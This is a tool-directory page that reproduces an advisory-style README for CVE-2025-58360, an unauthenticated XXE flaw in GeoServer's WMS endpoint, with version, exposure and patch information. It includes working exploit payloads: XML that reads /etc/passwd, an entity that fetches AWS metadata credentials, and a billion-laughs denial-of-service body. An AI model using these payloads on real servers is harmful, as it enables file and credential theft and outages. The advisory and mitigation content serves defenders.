Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Blackash-CVE-2025-58360 — CVE-2025-58360 | Kitploit
Tools/GitHubGitHub/carlzhang123/blackash-cve-2025-58360
Vulnerability AnalysisExploitationWeb Application ExploitationInformation GatheringWeb SecurityPenetration Testing
GitHubcarlzhang123/blackash-cve-2025-58360

Blackash-CVE-2025-58360

CVE-2025-58360

View Repository
19 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

🔓 🛰️ 'CVE-2025-58360' GeoServer WMS Endpoint Vulnerable to XXE Attack 🌟

GeoServer

🏷️ Basic Information

  • CVE ID: CVE-2025-58360
  • Published: 📅 November 25, 2025
  • Last Modified: 📅 November 25, 2025 (still fresh as of Nov 26)
  • Vulnerability Type: XML External Entity (XXE) – CWE-611
  • Affected Software: GeoServer (open-source geospatial server written in Java)
  • Severity: 🔥 High – CVSS v3.1 Base Score 7.5
    • Vector: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:L
  • Exploitation in the Wild: 🟡 Not yet observed (Nov 26, 2025) – but public PoCs are circulating
  • Authentication Required: ❌ None – fully unauthenticated
  • User Interaction Required: ❌ None

🎨 What Makes This Bug Special (and Dangerous)

This is a classic but devastating XXE in the Web Map Service (WMS) GetMap endpoint.
Attackers can:

  • 📂 Read any file the GeoServer process has access to (/etc/passwd, , private keys, etc.)
Download Tool
geoserver.xml
  • 🌐 Perform Server-Side Request Forgery (SSRF) to scan internal networks or hit metadata endpoints (e.g., AWS/GCP)
  • 💣 Trigger Denial-of-Service with entity-expansion attacks (“billion laughs”)
  • 🔗 Potentially chain with other flaws for full RCE (not direct, but possible in misconfigured setups)

    • 🛡️ Affected Versions (Detailed Table)

    ComponentVulnerable VersionsFixed InStatus
    GeoServer Standalone2.26.0 – 2.26.1
    ≤ 2.25.5    		2.26.3, 2.25.6, 2.27.0🔴 Vulnerable
    Docker (osgeo/geoserver)2.26.0 – 2.26.1
    ≤ 2.25.5    		2.26.2+, 2.27.0🔴 Vulnerable
    Maven org.geoserver:gs-wms2.26.0 – 2.26.1
    ≤ 2.25.5    		2.26.2+, 2.25.6🔴 Vulnerable
    Maven org.geoserver.web:gs-web-app2.26.0 – 2.26.1
    ≤ 2.25.5    		2.26.2+, 2.25.6🔴 Vulnerable
    GeoServer 2.27.x and newer–Already patched✅ Safe

    🌍 Global Exposure (Real-time as of Nov 26, 2025)

    SourceExposed InstancesNotes
    ZoomEye~49,400app:"GeoServer" search
    FOFA~24,000Past-year results
    Shodan~31,000Port 8080 + title match
    GobySec~20,000Public network scan

    → That’s tens of thousands of potentially vulnerable servers sitting on the open internet right now! 🌐

    🧨 Full Technical Exploit Walkthrough

    Endpoint: POST /geoserver/wms
    Key Parameter: SLD_BODY (allows raw XML styling)
    Vulnerable Code Path: The XML parser does not disable external entity resolution → classic XXE.

    f77f64d7c92fd31b29d537f5205da524

    Example 1 – File Disclosure (/etc/passwd)

    root@kitploit:~
    <?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<sld:StyledLayerDescriptor xmlns:sld="http://www.opengis.net/sld" version="1.0.0">
  <sld:UserLayer>
    <sld:LayerFeatureConstraints>
      <sld:FeatureTypeConstraint>&xxe;</sld:FeatureTypeConstraint>
    </sld:LayerFeatureConstraints>
  </sld:UserLayer>
</sld:StyledLayerDescriptor>

    → Response contains the contents of /etc/passwd 🎉

    Example 2 – SSRF to Internal Metadata (AWS example)

    root@kitploit:~
    <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">

    → Leaks temporary AWS credentials if running on EC2.

    Example 3 – Billion Laughs DoS

    root@kitploit:~
    <!DOCTYPE lolz [
  <!ENTITY lol "lol">
  <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
  <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
  <!-- repeat up to lol9 -->
]>
<lol>&lol9;</lol>

    → Consumes gigabytes of RAM in seconds 💥

    🛠️ Official Patches & Downloads

    VersionRelease DateDownload Link
    2.27.0Nov 25, 2025https://geoserver.org/release/stable/
    2.26.3Nov 25, 2025Maintenance branch patch
    2.25.6Nov 25, 2025Older supported branch

    Docker users:

    root@kitploit:~
    docker pull osgeo/geoserver:2.27.0

    🔧 Workarounds (if you can’t patch immediately)

    1. Block dangerous XML with WAF/mod_security rule:
      Deny requests containing <!ENTITY or SYSTEM "file://
    2. Disable SLD_BODY parameter globally (if not needed)
    3. Run GeoServer with read-only filesystem + drop capabilities
    4. Put behind reverse proxy that strips XML bodies for unauthenticated users

    📢 Official References & PoCs

    • NVD Entry: https://nvd.nist.gov/vuln/detail/CVE-2025-58360
    • GeoServer Advisory: https://github.com/geoserver/geoserver/security/advisories/GHSA-fjf5-xgmq-5525
    • JIRA Ticket: https://osgeo-org.atlassian.net/browse/GEOS-11682
    • Public Safe PoC (Python): https://gist.github.com/bolhasec/32fa035354d7cc9417aa297e2fe22b30
    • Nuclei Template (auto-detection): Already merged into main branch

    ⏰ Timeline

    DateEvent
    Before Nov 2025Discovered autonomously by XBOW AI scanner
    Nov 25, 2025Coordinated disclosure → patches released
    Nov 25, 2025CVE assigned & published
    Nov 26, 2025PoCs go viral, exposure scans spike

    ✨ Final Words

    This is a textbook XXE that hits a widely deployed geospatial platform with tens of thousands of internet-facing instances.
    Patches dropped the same day as disclosure — huge props to the GeoServer team for speed! 🏆
    But the window between patch availability and mass exploitation is shrinking fast.

    If you run GeoServer → upgrade today.
    Don’t become the next headline.

    Stay secure, stay shiny! 🛡️✨